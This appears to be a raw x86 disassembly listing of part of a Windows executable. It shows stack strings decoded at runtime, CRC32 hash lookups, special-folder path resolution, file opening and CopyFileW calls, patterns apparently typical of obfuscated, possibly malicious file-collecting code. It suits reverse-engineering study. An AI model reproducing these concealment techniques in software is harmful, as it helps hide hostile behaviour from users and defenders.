mov byte [esp + ecx + 0x18], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x20
jb 0x42d0c0
lea eax, [esp + 0x18]
mov ecx, dword [esp + 0x70]
push eax
call fcn.0042f9b0
xor ecx, ecx
test eax, eax
setne cl
xor ebp, ebp
xor esi, esi
jmp dword [ecx*4 + 0x4528f0]
mov eax, dword [case.0x42c8dd.24]
mov edi, dword [esp + 0x88]
mov ebx, dword [esp + 0x8c]
nop
nop
nop
nop
nop
nop
nop
jmp eax
jmp dword [0x452910]
mov ecx, dword [esp + 0x70]
call fcn.0042fb20
push dword [esp + 0x70]
call fcn.0040cb70
add esp, 4
jmp dword [0x452928]
jmp dword [0x452928]
push ebx
call fcn.0040cb70
add esp, 4
mov ebx, esi
mov eax, dword [esp + 0x7c]
mov dword [esp + 0xc], eax
mov dword [esp], 0xfcfdfeff
mov dword [esp + 0x18], 0
mov eax, dword [esp + 0x18]
cmp eax, 3
ja 0x42d1a9
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x18]
movzx eax, byte [esp + eax]
push dword [esp + 0x18]
push eax
call fcn.00430ba0
add esp, 8
mov ecx, dword [esp + 0x18]
mov byte [esp + ecx], al
inc dword [esp + 0x18]
mov eax, dword [esp + 0x18]
cmp eax, 4
jb 0x42d180
mov eax, dword [0x456b34]
test eax, eax
je 0x42d1d8
mov ecx, dword [esp]
xor edx, edx
mov esi, dword [0x456b38]
nop
nop
nop
cmp dword [esi + edx*8], 0x7e776f1
je 0x42d1d0
inc edx
cmp eax, edx
jne 0x42d1c0
jmp 0x42d1d8
mov eax, dword [esi + edx*8 + 4]
cmp eax, ecx
jne 0x42d215
mov esi, ebx
jmp dword [0x452930]
xor eax, eax
cmp esi, ebp
sete al
jmp dword [eax*4 + 0x452938]
mov dword [esp + 0x74], esi
mov dword [esp + 0x14], ebp
jmp dword [0x452954]
jmp dword [0x45294c]
xor ebx, ebx
test esi, esi
jne 0x42d57b
jmp 0x42cf55
push dword [esp + 0xc]
push 1
push dword [0x456b3c]
push eax
call fcn.00445e60
add esp, 0x10
mov esi, ebx
jmp dword [0x452930]
add eax, 8
xor edi, edi
mov ecx, dword [eax]
xor eax, eax
test ecx, ecx
setne al
xor ebp, ebp
xor edx, edx
xor esi, esi
jmp dword [eax*4 + 0x4528f8]
mov esi, dword [esp + 0x74]
mov eax, dword [esp + 0x10]
mov dword [esi + eax + 4], ecx
add ebp, 8
mov ecx, dword [esp + 8]
add ecx, 4
mov ecx, dword [ecx]
xor eax, eax
test ecx, ecx
setne al
mov edi, esi
mov edx, dword [esp + 0x6c]
jmp dword [eax*4 + 0x4528f8]
mov dword [esp + 8], ecx
mov esi, ebp
mov ebp, dword [ecx]
mov eax, esi
sub eax, edi
mov dword [esp + 0x14], esi
cmp esi, edx
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], ebp
je 0x42d29f
mov esi, edi
jmp 0x42d32e
sar eax, 3
inc eax
mov ebp, edx
mov ecx, edx
sub ecx, edi
sar ecx, 3
mov ebx, ecx
shr ebx, 1
add ebx, ecx
cmp ebx, eax
ja 0x42d2b8
mov ebx, eax
mov eax, ebx
and eax, 0xfffffff7
mov ecx, ebx
and ecx, 8
mov edx, ebx
or edx, 8
imul edx, ecx
xor ecx, 8
imul ecx, eax
add edx, ecx
push edx
call fcn.0040cb60
add esp, 4
mov esi, eax
test edi, edi
je 0x42d31b
cmp edi, ebp
je 0x42d312
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [edi + eax]
mov dword [esi + eax], ecx
mov ecx, dword [edi + eax + 4]
mov dword [esi + eax + 4], ecx
mov dword [edi + eax], 0
lea ecx, [edi + eax]
add ecx, 8
add eax, 8
cmp ecx, ebp
jne 0x42d2f0
push edi
call fcn.0040cb70
add esp, 4
lea edx, [esi + ebx*8]
mov ecx, esi
mov eax, dword [esp + 0x10]
add ecx, eax
mov dword [esp + 0x14], ecx
mov ebp, dword [esp + 0xc]
mov dword [esp + 0x6c], edx
mov dword [esi + eax], 0
mov dword [esi + eax + 4], 0
xor ebx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [ebp + ebx], 0
lea ebx, [ebx + 1]
jne 0x42d350
push ebx
call fcn.0040cb60
add esp, 4
mov dword [esp + 0x74], esi
mov ecx, dword [esp + 0x10]
mov dword [esi + ecx], eax
mov ecx, ebx
shr ecx, 2
mov edx, ebp
mov edi, eax
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov edx, ebx
and edx, 0xfffffffc
add eax, edx
add edx, ebp
mov ecx, ebx
shr ecx, 1
and ecx, 1
mov esi, edx
mov edi, eax
xchg esi, esi
rep movsw word es:[edi], word [esi]
xchg esi, esi
mov ecx, ebx
inc cl
test cl, 1
mov ebp, dword [esp + 0x14]
jne 0x42d3bc
mov ecx, ebx
and ecx, 2
movzx edx, byte [edx + ecx]
mov byte [eax + ecx], dl
xor ecx, ecx
cmp ebx, 1
je 0x42d250
mov ecx, 0xffffffff
mov eax, 1
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [esp + 0xc]
movzx edi, byte [edx + eax - 1]
xor edi, ecx
mov ecx, edi
shr ecx, 1
mov edx, edi
and edx, 1
neg edx
and edx, 0xedb88320
xor edx, ecx
mov esi, edx
shr esi, 1
mov ecx, edi
shl ecx, 0x1e
sar ecx, 0x1f
and ecx, 0xedb88320
xor ecx, esi
mov ebp, edi
shl ebp, 0x1d
sar ebp, 0x1f
and ebp, 0x76dc419
mov esi, edi
shl esi, 0x1c
sar esi, 0x1f
and esi, 0xedb8832
xor esi, ebp
mov ebp, edi
shl ebp, 0x1b
sar ebp, 0x1f
and ebp, 0x1db71064
shl edi, 0x1a
sar edi, 0x1f
and edi, 0x3b6e20c8
xor edi, ebp
xor edi, esi
mov esi, ecx
shr esi, 6
xor edi, esi
shl edx, 0x1a
sar edx, 0x1f
and edx, 0x76dc4190
xor edx, edi
shl ecx, 0x1a
sar ecx, 0x1f
and ecx, 0xedb88320
xor ecx, edx
inc eax
cmp ebx, eax
jne 0x42d3d0
not ecx
mov ebp, dword [esp + 0x14]
jmp 0x42d250
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x452960]
xor ebx, ebx
mov eax, dword [esp + 0x10]
mov dword [esp + 0x6c], eax
mov esi, dword [esp + 0x74]
jmp dword [0x452a28]
push dword [esp + 0xc]
call fcn.0040cb70
add esp, 4
mov dword [esp + 8], ebx
mov eax, ebx
and al, 1
movzx eax, al
jmp dword [eax*4 + 0x452a30]
mov ebx, dword [esp + 0x6c]
mov byte [ebx], 0
mov dword [esp + 0x18], 0x8d8e8f5f
mov dword [esp + 0x1c], 0x8171768b
mov dword [esp + 0x20], 0x9c88868f
mov dword [esp + 0x24], 0x6a9e7e59
mov dword [esp + 0x28], 0x755f906f
mov dword [esp + 0x2c], 0x9b659e91
mov dword [esp + 0x30], 0xb1925991
mov word [esp + 0x34], 0x3bac
mov dword [esp + 0x36], 0
sub ebx, dword [esp + 0x10]
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x21
ja 0x42d546
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 0x18]
push dword [esp]
push eax
call fcn.00430b50
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 0x18], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x22
jb 0x42d520
mov ecx, dword [esp + 0xb4]
push ebx
mov ebx, dword [esp + 0x14]
push ebx
push edi
call fcn.0040da30
mov dword [esp + 8], eax
jmp dword [0x452a38]
push ebx
call fcn.0040cb70
add esp, 4
mov ebx, dword [esp + 8]
and bl, 1
test esi, esi
je 0x42cf55
cmp esi, ebp
je 0x42cf55
mov edi, esi
jmp 0x42d597
add esi, 8
cmp esi, ebp
je 0x42d5a8
mov eax, dword [esi]
test eax, eax
je 0x42d590
push eax
call fcn.0040cb70
add esp, 4
jmp 0x42d590
push edi
call fcn.0040cb70
add esp, 4
jmp 0x42cf55
lea eax, [esp + 0x98]
push 0
push eax
push dword [esp + 0x8c]
call fcn.004499a0
add esp, 0xc
not eax
shr eax, 0x1f
mov dword [esp + 8], 0
mov ebx, dword [esp + 0x10]
mov esi, ebx
jmp dword [eax*4 + 0x452968]
mov esi, dword [esp + 0x98]
lea eax, [esi + 1]
push eax
call fcn.0040cb60
add esp, 4
push 0
push esi
mov dword [esp + 0x9c], eax
push eax
push dword [esp + 0x90]
call fcn.00449a80
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [esp + 8], 0
mov esi, ebx
jmp dword [eax*4 + 0x452970]
jmp dword [0x452a10]
push dword [esp + 0x94]
call fcn.0040cb70
add esp, 4
mov eax, dword [case.0x42d0ff.30]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov dword [esp + 0x6c], esi
mov esi, dword [esp + 0x84]
mov dword [esp], 0xfcfdfeff
mov dword [esp + 0x18], 0
mov eax, dword [esp + 0x18]
cmp eax, 3
ja 0x42d6a9
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x18]
movzx eax, byte [esp + eax]
push dword [esp + 0x18]
push eax
call fcn.00430ba0
add esp, 8
mov ecx, dword [esp + 0x18]
mov byte [esp + ecx], al
inc dword [esp + 0x18]
mov eax, dword [esp + 0x18]
cmp eax, 4
jb 0x42d680
mov eax, dword [0x456b34]
test eax, eax
je 0x42d6d8
mov ecx, dword [esp]
xor edx, edx
mov edi, dword [0x456b38]
nop
nop
nop
cmp dword [edi + edx*8], 0x7e776f1
je 0x42d6d0
inc edx
cmp eax, edx
jne 0x42d6c0
jmp 0x42d6d8
mov eax, dword [edi + edx*8 + 4]
cmp eax, ecx
jne 0x42d706
mov esi, dword [esp + 0x74]
lea edi, [esp + 0x18]
mov ebx, dword [esp + 8]
jmp dword [0x452a28]
mov dword [esp + 8], ebx
mov eax, ebx
and al, 1
movzx eax, al
jmp dword [eax*4 + 0x452a30]
mov ebx, dword [esp + 0x10]
jmp dword [0x452a38]
push esi
push 1
push dword [0x456b3c]
push eax
call fcn.00445e60
add esp, 0x10
mov esi, dword [esp + 0x74]
lea edi, [esp + 0x18]
mov ebx, dword [esp + 8]
jmp dword [0x452a28]
mov esi, dword [0x456b30]
mov dword [esp + 0x18], 0x41f2472b
mov dword [esp + 0x1c], 0x4def43d1
mov dword [esp + 0x20], 0x49da4fef
mov dword [esp + 0x24], 0xb5da4b0b
mov dword [esp + 0x28], 0xb1fab724
mov dword [esp + 0x2c], 0xbd2eb313
mov dword [esp + 0x30], 0xb9d1bf1f
mov dword [esp + 0x34], 0xa507bb1c
mov dword [esp + 0x38], 0xa109a738
mov dword [esp + 0x3c], 0xad35a303
mov dword [esp + 0x40], 0xa93aaf08
mov dword [esp + 0x44], 0x9507ab39
mov dword [esp + 0x48], 0x91029737
mov dword [esp + 0x4c], 0x9d0c93c6
mov dword [esp + 0x50], 0x99309f30
mov word [esp + 0x54], 0x9b98
mov dword [esp + 0x56], 0
mov byte [esp + 0x5a], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x42
ja 0x42d7f6
nop
nop
nop
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 0x18]
push dword [esp]
push eax
call fcn.00430a60
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 0x18], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x43
jb 0x42d7d0
lea ebx, [esp + 0x78]
lea eax, [esp + 0x18]
push ebx
push 0
push 0
push 0x1e
push eax
push 0
call esi
mov ebp, dword [esp + 0x78]
lea eax, [ebp*2]
test ebp, ebp
jns 0x42d81e
mov eax, 0xffffffff
push eax
call fcn.0040cb60
add esp, 4
mov esi, eax
mov edi, dword [0x456b30]
mov dword [esp + 0x18], 0x13c611ed
mov dword [esp + 0x1c], 0xef4ded5b
mov dword [esp + 0x20], 0xeb5ee949
mov dword [esp + 0x24], 0xe756e525
mov dword [esp + 0x28], 0xe33ee150
mov dword [esp + 0x2c], 0xff72fd5d
mov dword [esp + 0x30], 0xfb07f959
mov dword [esp + 0x34], 0xf725f550
mov dword [esp + 0x38], 0xf34ff17c
mov dword [esp + 0x3c], 0xcf7bcd6d
mov dword [esp + 0x40], 0xcb7ec96c
mov dword [esp + 0x44], 0xc765c573
mov dword [esp + 0x48], 0xc376c161
mov dword [esp + 0x4c], 0xdf50dd2a
mov dword [esp + 0x50], 0xdb64d964
mov dword [esp + 0x54], 0xd5d4
mov byte [esp + 0x58], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x40
ja 0x42d8f6
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 0x18]
push dword [esp]
push eax
call fcn.00430aa0
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 0x18], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x41
jb 0x42d8d0
push ebx
push ebp
push esi
push 0x1e
lea eax, [esp + 0x28]
push eax
push 0
call edi
lea eax, [esp + 0x84]
push 0x60
push 3
push 0x120089
push eax
push esi
call fcn.00449640
add esp, 0x14
mov ebp, dword [esp + 0x14]
mov eax, ebp
sub eax, dword [esp + 0x74]
sar eax, 3
mov ecx, eax
and ecx, 0xfffffbde
mov edx, eax
and edx, 0x421
or eax, 0x421
imul eax, edx
xor edx, 0x421
imul edx, ecx
add eax, edx
push eax
call fcn.0040cb60
add esp, 4
mov edi, eax
mov esi, dword [0x456b30]
mov dword [esp + 0x18], 0x41f2472b
mov dword [esp + 0x1c], 0x4def43d1
mov dword [esp + 0x20], 0x49da4fef
mov dword [esp + 0x24], 0xb5da4b0b
mov dword [esp + 0x28], 0xb1fab724
mov dword [esp + 0x2c], 0xbd2eb313
mov dword [esp + 0x30], 0xb9d1bf1f
mov dword [esp + 0x34], 0xa507bb1c
mov dword [esp + 0x38], 0xa109a738
mov dword [esp + 0x3c], 0xad35a303
mov dword [esp + 0x40], 0xa93aaf08
mov dword [esp + 0x44], 0x9507ab39
mov dword [esp + 0x48], 0x91029737
mov dword [esp + 0x4c], 0x9d0c93c6
mov dword [esp + 0x50], 0x99309f30
mov word [esp + 0x54], 0x9b98
mov dword [esp + 0x56], 0
mov byte [esp + 0x5a], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x42
ja 0x42da26
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 0x18]
push dword [esp]
push eax
call fcn.00430a60
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 0x18], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x43
jb 0x42da00
mov dword [esp + 0x10], edi
lea edi, [esp + 0x78]
lea eax, [esp + 0x18]
push edi
push 0
push 0
push 0x1e
push eax
push 0
call esi
mov esi, dword [esp + 0x78]
lea eax, [esi + esi]
test esi, esi
jns 0x42da4e
mov eax, 0xffffffff
push eax
call fcn.0040cb60
add esp, 4
mov dword [esp + 0xc], eax
mov ebx, dword [0x456b30]
mov dword [esp + 0x18], 0x13c611ed
mov dword [esp + 0x1c], 0xef4ded5b
mov dword [esp + 0x20], 0xeb5ee949
mov dword [esp + 0x24], 0xe756e525
mov dword [esp + 0x28], 0xe33ee150
mov dword [esp + 0x2c], 0xff72fd5d
mov dword [esp + 0x30], 0xfb07f959
mov dword [esp + 0x34], 0xf725f550
mov dword [esp + 0x38], 0xf34ff17c
mov dword [esp + 0x3c], 0xcf7bcd6d
mov dword [esp + 0x40], 0xcb7ec96c
mov dword [esp + 0x44], 0xc765c573
mov dword [esp + 0x48], 0xc376c161
mov dword [esp + 0x4c], 0xdf50dd2a
mov dword [esp + 0x50], 0xdb64d964
mov dword [esp + 0x54], 0xd5d4
mov byte [esp + 0x58], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x40
ja 0x42db26
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 0x18]
push dword [esp]
push eax
call fcn.00430aa0
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 0x18], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x41
jb 0x42db00
push edi
push esi
mov esi, dword [esp + 0x14]
push esi
push 0x1e
lea edi, [esp + 0x28]
push edi
push 0
call ebx
lea eax, [esp + 0x84]
push 0x60
push 3
push 0x120089
push eax
push esi
call fcn.00449640
add esp, 0x14
jmp dword [0x45295c]
mov dword [esp + 0x18], 0x3f60397f
mov dword [esp + 0x1c], 0x23853d80
mov dword [esp + 0x20], 0x27b421b3
mov dword [esp + 0x24], 0x2b83258e
mov dword [esp + 0x28], 0x2f922983
mov dword [esp + 0x2c], 0x13812d8b
mov dword [esp + 0x30], 0x17bc1182
mov dword [esp + 0x34], 0x1bb115bd
mov dword [esp + 0x38], 0x1f84194a
mov dword [esp + 0x3c], 0x3a81db8
mov word [esp + 0x40], 0x100
mov dword [esp + 0x42], 0
mov byte [esp + 0x46], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x2e
ja 0x42dbf6
nop
nop
nop
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 0x18]
push dword [esp]
push eax
call fcn.0042fee0
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 0x18], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x2f
jb 0x42dbd0
lea eax, [esp + 0x18]
push 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
jmp dword [0x4528cc]
mov dword [esp + 0x18], 0x3f60397f
mov dword [esp + 0x1c], 0x23853d80
mov dword [esp + 0x20], 0x27b421b3
mov dword [esp + 0x24], 0x2b83258e
mov dword [esp + 0x28], 0x2f922983
mov dword [esp + 0x2c], 0x13812d8b
mov dword [esp + 0x30], 0x17bc1182
mov dword [esp + 0x34], 0x1bb115bd
mov dword [esp + 0x38], 0x1f84194a
mov dword [esp + 0x3c], 0x3a81db8
mov word [esp + 0x40], 0x100
mov dword [esp + 0x42], 0
mov byte [esp + 0x46], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x2e
ja 0x42dca6
nop
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 0x18]
push dword [esp]
push eax
call fcn.0042fee0
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 0x18], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x2f
jb 0x42dc80
lea eax, [esp + 0x18]
push 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
jmp case.0x42c8dd.15
int3
jmp dword [0x452a48]
push esi
call fcn.0040cb70
add esp, 4
mov eax, dword [esp + 0x8c]
and al, 1
add esp, 0xe4
pop esi
pop edi
pop ebx
pop ebp
ret
mov ecx, dword [esp + 0xa0]
add ecx, 4
xor eax, eax
cmp ecx, 0xc
setne al
jmp dword [eax*4 + 0x452a40]
mov dword [esp + 0xa0], ecx
mov ecx, dword [esp + ecx + 0xc8]
mov eax, 0xfffffffe
nop
nop
nop
nop
cmp word [ecx + eax + 2], 0
lea eax, [eax + 2]
jne 0x42e0b0
mov dword [esp + 0x54], ecx
mov dword [esp + 0x9c], eax
mov ebp, eax
sar ebp, 1
mov eax, dword [esp + 0x94]
lea ecx, [eax + ebp]
lea edx, [eax + ebp]
add edx, 0xd
lea eax, [ecx*2 + 0x1a]
test edx, edx
jns 0x42e0ea
mov eax, 0xffffffff
push eax
call fcn.0040cb60
add esp, 4
mov ebx, eax
movzx eax, word [esi]
mov edi, ebx
test ax, ax
je 0x42e121
mov ecx, dword [esp + 0x98]
mov edi, ebx
nop
nop
nop
nop
nop
nop
nop
nop
mov word [edi], ax
add edi, 2
movzx eax, word [ecx]
add ecx, 2
test ax, ax
jne 0x42e110
mov word [edi], 0x5c
mov dword [esp + 0x14], 0x93c691f4
mov dword [esp + 0x18], 0xafcdaddb
mov dword [esp + 0x1c], 0xabdea9c9
mov dword [esp + 0x20], 0xa7f5a584
mov dword [esp + 0x24], 0xa3c3a12c
mov dword [esp + 0x28], 0xbfc3bd30
mov dword [esp + 0x2c], 0xb9b8
add edi, 2
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 0x1b
ja 0x42e1ab
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
movzx eax, byte [esp + eax + 0x14]
push dword [esp + 4]
push eax
call fcn.00430f20
add esp, 8
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x14], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 0x1c
jb 0x42e180
mov ecx, dword [esp + 0x54]
movzx eax, word [ecx]
test ax, ax
je 0x42e1d1
add ecx, 2
nop
nop
nop
nop
nop
nop
mov word [edi], ax
add edi, 2
movzx eax, word [ecx]
add ecx, 2
test ax, ax
jne 0x42e1c0
mov word [edi], 0
movzx eax, word [esp + 0x14]
test ax, ax
je 0x42e201
lea ecx, [esp + 0x16]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [edi], ax
add edi, 2
movzx eax, word [ecx]
add ecx, 2
test ax, ax
jne 0x42e1f0
mov word [edi], 0
lea eax, [esp + 0x64]
push 0x60
push 3
push 0x120089
push eax
push ebx
call fcn.00449640
add esp, 0x14
not eax
shr eax, 0x1f
mov dword [esp + 0xac], ebx
jmp dword [eax*4 + 0x452a50]
xor ebx, ebx
jmp dword [0x452ad0]
push dword [esp + 0xac]
call fcn.0040cb70
add esp, 4
movzx eax, bl
jmp dword [eax*4 + 0x452ad8]
jmp dword [0x452a58]
mov dword [esp + 0xa4], ebp
jmp dword [0x452a84]
xor ecx, ecx
test eax, eax
setne cl
xor ebx, ebx
mov ebp, dword [esp + 0xa4]
jmp dword [ecx*4 + 0x452a90]
mov eax, dword [esp + 0x9c]
add eax, 0x10
cmp ebp, 0xfffffff8
jge 0x42e29e
mov eax, 0xffffffff
push eax
call fcn.0040cb60
add esp, 4
mov esi, eax
mov dword [esp + 0x14], 0x57fa493b
mov dword [esp + 0x18], 0x532055e4
mov dword [esp + 0x1c], 0x5fe651ec
mov dword [esp + 0x20], 0x5b5a5de0
lea eax, [esp + 0x24]
mov byte [eax + 2], 0
mov word [eax], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x12
ja 0x42e316
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 0x14]
push dword [esp]
push eax
call fcn.00430fc0
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 0x14], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x13
jb 0x42e2f0
mov eax, dword [esp + 0x54]
movzx ecx, word [eax]
mov eax, esi
test cx, cx
je 0x42e341
mov eax, dword [esp + 0x54]
lea edx, [eax + 2]
mov eax, esi
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42e330
mov word [eax], 0
movzx ecx, word [esp + 0x14]
test cx, cx
je 0x42e371
lea edx, [esp + 0x16]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42e360
mov word [eax], 0
mov ecx, dword [esp + 0xf8]
push dword [esp + 0x5c]
push dword [esp + 0x64]
push esi
call fcn.0040d900
mov ebx, eax
jmp dword [0x452a98]
push esi
call fcn.0040cb70
add esp, 4
jmp dword [0x452aa0]
jmp dword [0x452aa0]
jmp dword [0x452ac0]
push dword [esp + 0x10]
call fcn.0040cb70
add esp, 4
push dword [esp + 0x88]
call fcn.00404d00
add esp, 4
jmp dword [0x452ac8]
push ebx
call fcn.0040cb70
add esp, 4
jmp dword [0x452ae8]
jmp dword [0x452ae8]
push ebp
call fcn.0040cb70
add esp, 4
mov ecx, dword [esp + 0xa0]
add ecx, 4
xor eax, eax
cmp ecx, 0xc
setne al
jmp dword [eax*4 + 0x452a40]
jmp dword [0x452ac8]
push edi
call fcn.0040cb70
add esp, 4
jmp case.0x42c8dd.120
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x452a68]
mov esi, dword [esp + 0x64]
mov dword [esp + 4], 0xfcfdfeff
mov dword [esp + 0x14], 0
mov eax, dword [esp + 0x14]
cmp eax, 3
ja 0x42e47b
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x14]
movzx eax, byte [esp + eax + 4]
push dword [esp + 0x14]
push eax
call fcn.00430ba0
add esp, 8
mov ecx, dword [esp + 0x14]
mov byte [esp + ecx + 4], al
inc dword [esp + 0x14]
mov eax, dword [esp + 0x14]
cmp eax, 4
jb 0x42e450
mov eax, dword [0x456b34]
test eax, eax
je 0x42e540
mov ecx, dword [esp + 4]
xor edx, edx
mov edi, dword [0x456b38]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + edx*8], 0x7e776f1
je 0x42e525
inc edx
cmp eax, edx
jne 0x42e4a0
jmp 0x42e540
mov esi, dword [esp + 0x90]
lea eax, [esi + 1]
push eax
call fcn.0040cb60
add esp, 4
mov edi, eax
push 0
push esi
push eax
push dword [esp + 0x70]
call fcn.00449a80
add esp, 0x10
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x452a70]
mov eax, dword [esp + 0x90]
mov byte [edi + eax], 0
push edi
call fcn.00403c90
add esp, 4
xor ecx, ecx
mov dword [esp + 0x88], eax
test eax, eax
setne cl
xor ebx, ebx
mov dword [esp + 0xa8], edi
jmp dword [ecx*4 + 0x452a78]
mov eax, dword [edi + edx*8 + 4]
cmp eax, ecx
jne 0x42e835
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, dword [esp + 0x58]
jmp dword [0x452ad0]
movzx eax, bl
jmp dword [eax*4 + 0x452ad8]
mov eax, dword [esp + 0x94]
lea ecx, [eax + ebp]
mov ebx, ebp
lea edx, [eax + ebp]
add edx, 0x17
lea eax, [ecx*2 + 0x2e]
test edx, edx
jns 0x42e576
mov eax, 0xffffffff
push eax
call fcn.0040cb60
add esp, 4
mov ebp, eax
movzx eax, word [esi]
mov edi, ebp
test ax, ax
je 0x42e5b1
mov ecx, dword [esp + 0x98]
mov edi, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [edi], ax
add edi, 2
movzx eax, word [ecx]
add ecx, 2
test ax, ax
jne 0x42e5a0
mov word [edi], 0x5c
mov dword [esp + 0x14], 0x994e9b78
mov dword [esp + 0x18], 0xa54ba769
mov dword [esp + 0x1c], 0xa156a34b
mov dword [esp + 0x20], 0xad73af80
mov dword [esp + 0x24], 0xa95bab50
mov dword [esp + 0x28], 0xb559b756
mov dword [esp + 0x2c], 0xb159b35d
mov dword [esp + 0x30], 0xbd4abf54
mov dword [esp + 0x34], 0xb940bb57
mov dword [esp + 0x38], 0x45b24753
mov dword [esp + 0x3c], 0x41ac43a8
mov word [esp + 0x40], 0x4f40
lea eax, [esp + 0x14]
mov byte [eax + 0x30], 0
mov word [eax + 0x2e], 0
add edi, 2
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 0x30
ja 0x42e66b
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
movzx eax, byte [esp + eax + 0x14]
push dword [esp + 4]
push eax
call fcn.00431040
add esp, 8
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x14], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 0x31
jb 0x42e640
mov ecx, dword [esp + 0x54]
movzx eax, word [ecx]
test ax, ax
je 0x42e691
add ecx, 2
nop
nop
nop
nop
nop
nop
mov word [edi], ax
add edi, 2
movzx eax, word [ecx]
add ecx, 2
test ax, ax
jne 0x42e680
mov word [edi], 0
movzx eax, word [esp + 0x14]
test ax, ax
je 0x42e6c1
lea ecx, [esp + 0x16]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [edi], ax
add edi, 2
movzx eax, word [ecx]
add ecx, 2
test ax, ax
jne 0x42e6b0
mov word [edi], 0
mov eax, dword [esp + 0x9c]
add eax, 0x12
cmp ebx, 0xfffffff7
jge 0x42e6da
mov eax, 0xffffffff
push eax
call fcn.0040cb60
add esp, 4
mov ebx, eax
mov dword [esp + 0x14], 0x1f20735
mov dword [esp + 0x18], 0xdfc03ef
mov dword [esp + 0x1c], 0x9fa0fe3
mov dword [esp + 0x20], 0x15e80be4
mov dword [esp + 0x24], 0x1714
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 0x13
ja 0x42e74b
nop
nop
mov eax, dword [esp + 4]
movzx eax, byte [esp + eax + 0x14]
push dword [esp + 4]
push eax
call fcn.00431080
add esp, 8
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x14], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 0x14
jb 0x42e720
mov edx, dword [esp + 0x54]
movzx ecx, word [edx]
mov eax, ebx
test cx, cx
je 0x42e771
add edx, 2
mov eax, ebx
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42e760
mov word [eax], 0
movzx ecx, word [esp + 0x14]
test cx, cx
je 0x42e7a1
lea edx, [esp + 0x16]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
